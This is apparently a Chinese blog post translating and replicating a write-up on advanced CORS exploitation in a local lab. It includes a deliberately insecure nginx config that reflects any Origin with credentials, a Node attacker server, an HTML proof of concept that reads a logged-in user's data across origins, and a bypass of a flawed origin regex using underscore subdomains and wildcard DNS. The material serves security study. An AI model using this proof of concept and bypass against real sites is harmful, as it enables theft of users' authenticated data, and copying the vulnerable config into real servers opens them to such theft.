原因:cors 请求未能成功_CORS的进阶利用

3db1901afaec3aee8ea0c0af8974bead.png

简介

主要看了Corben Leo的Advanced CORS Exploitation Techniques这篇文章,对这篇文章的一个翻译吧,收获良多,复现一下cors漏洞的进阶利用。直入正题。

CORS介绍

这里就借OWASP的关于CORS的介绍。

CORS stands for Cross- Origin Resource Sharing.
Is an feature offering the possbility to:
  • A web application to expose resources to all or restricted domain,
  • A web client to made AJAX request for resource on other domain than is source domain.

This article will focus on HTTP Request Preflight feature proposed by CORS W3C specification and (mainly) how to setup a protection, on web application side, against CORS HTTP request that try to bypass the preflight process. 简单的来说,它是为了跨域资源共享,web开发者可以通过发送AJAX请求不同域下的资源。关于CORS的利用可以参考这篇文章《cors安全完全指南》。

复现环境准备

  • 靶机环境
    • nginx/1.16.0
    • PHP 5.6.40
  • 攻击机环境
    • Node/v10.9.0

受害者环境配置

受害者服务器配置CORS策略,在nginx.conf server下增加以下配置(当然你也可以直接在代码中设置):

location / {
 add_header Access-Control-Allow-Origin $http_origin;
 add_header Access-Control-Allow-Methods GET,POST,OPTIONS;
 add_header Access-Control-Allow-Credentials true;
 if ($request_method = OPTIONS) {
 add_header Access-Control-Allow-Origin $http_origin;
 add_header Access-Control-Allow-Methods GET,POST,OPTIONS;
 add_header Access-Control-Allow-Credentials true;
 add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type;
 add_header Access-Control-Max-Age 1728000;
 return 204;
 }
}

CORS的简单利用

初步测试,增加Origin头。发现返回包中出现Access-Control-Allow-Origin:[输入的origin]Access-Control-Allow-Credentials: true

攻击者需要部署一个服务端,这边使用node写了一个简单的服务端.代码如下:

Server.js

var http = require('http');
var url  = require('url');
var fs   = require('fs');
var port = 9999
​
http.createServer(function(req, res) {
    if (req.url == '/cors-poc') {
        fs.readFile('cors.html', function(err, data) {
            res.writeHead(200, {'Content-Type':'text/html'});
            res.write(data);
            res.end();
        });
    } else {
        res.writeHead(200, {'Content-Type':'text/html'});
        res.write('never gonna give you up...');
        res.end();
    }
}).listen(port, '0.0.0.0');
console.log(Serving on port ${port});

Cors.html

<!DOCTYPE html>
<html>
<head>
 <title>CORS</title>
 <script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("pwnz").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "http://www.x1001.cn/cors.php", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script> 
 </head>
<body onload="cors();">
<center>
cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
</div>

受害者应用代码示例:

<?php
setcookie('user','value');
if(isset($_COOKIE["user"]))
{header('Content-Type:text/json;charset=utf-8');
$str=array('Name'=>'x1001','Age'=>0);
$jsonencode=json_encode($str);
echo$jsonencode;}
else{echo"404";}
?>

浏览器访问http://localhost:9999/cors-poc。可以看到窃取到http://x1001.cn中用户信息。

ec54b31f7404d21a583e9fd5570a0c7a.png

但是一般的开发者都会对源进行正则匹配.防止此类攻击,如下

<?php
http_origin = '';
if (!empty($Misplaced &_SERVER['HTTP_ORIGIN']) && preg_match('/^https?://(.*.)?x1001.cn([^.-a-zA-Z0-9]+.*)?/i',$_SERVER['HTTP_ORIGIN'],$matchers)) {
$http_origin$= $matchers[0];
    header("Access-Control-Allow-Origin: {$http_origin}");
    header("Access-Control-Allow-Methods", "POST,GET");
    header('Access-Control-Allow-Credentials:true');
    header('Access-Control-Allow-Headers : X-Requested-With');
}


分析一下上面的正则表达式的作用,/^https?://(.*.)?x1001.cn主要是限制前缀为http://x1001.cn.前面的被限制死了,没有啥纠结的.我们只有从后面的正则找出破绽.

[^.-a-zA-Z0-9] 不匹配"." "-" "a-z" "A-Z" "0-9" 这些字符
+ 匹配前一个表达式一到n次
.* 匹配任意字符除去行终止符

可以看到上述限制了 . - a-z A-Z 0-9.那我们是否可以通过特殊字符绕过,当然? / # 肯定是不行的.考虑试试 下横杠 _ 等等 .

这边我当时也有很大的疑问.为什么能绕过?

我们已经知道开发者设置了正则表达式去校验Origin,那我们只要保证我们的Origin正则匹配为false就可以了,这里插一句关于Origin头的介绍.

请求首部字段 Origin 指示了请求来自于哪个站点。该字段仅指示服务器名称,并不包含任何路径信息。该首部用于CORS请求或者 POST请求。除了不包含路径信息,该字段与 Referer首部字段相似。

简单来说,攻击者访问的攻击页面(上述的Cors.html),该攻击页面会去请求用户数据.Origin就是攻击访问攻击页面的Origin.参考下图:

00142a893195a098da9afcf0d376a06d.png

现在我们的目的就是在URL中增加特殊字符也能访问攻击页面,比如我们可以构造URL:http://x10001.cn_.<your-domain>/cors-poc来绕过正则表达式,但是这个URL浏览器可以识别吗?我们先了解浏览器请求进行域名解析到获取到内容的过程。

    1. 用户通过浏览器访问URL
    2. 进行DNS查询将HOST转化成ip地址
    3. 向服务器发送SYN请求连接
    4. 服务器返回SYN+ACK
    5. 浏览器发送HTTP请求获取HTML解析

可以看到浏览器通过DNS查询得到IP(之前会查找本地host文件,不考虑),我们访问的域名是x10001.cn_.<your-domain>,就需要域名的泛解析。所谓的泛解析是指:利用通配符*(星号)来做次级域名以实现所有的次级域名均指向同一IP地址。如图:

44b9ce1656a228e6fb0865fcfc485db5.png

还有最后一个需要解决的,浏览器是否能够处理这些畸形的请求? 当然可以,我也试了一下,不同的浏览器对不同的特殊字符有不同的响应的。基于那篇文章整理出一些主流的浏览器能够处理请求的特殊字符。

    • Chrom&Firefox x1001.cn_.[your domain]/cors-poc

41f0d39fa9c71cd89bd14452e9c8d50a.png
    • Safari x1001.cn-_.[your domain]/cors-poc

bd0a898ca5afb2c2e2348474e33890a1.png

最后

要想攻击需要

  • 你需要一个域名,设置泛解析记录
  • NodeJS等等一切服务器
  • 你需要首先设置攻击者域名泛解析
  • 在你的服务器编写一个cors 攻击代码(如上面代码)
  • 浏览器访问 x1001.cn-_.<your domain>/cors-poc,获取成功。

本文仅供参考.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值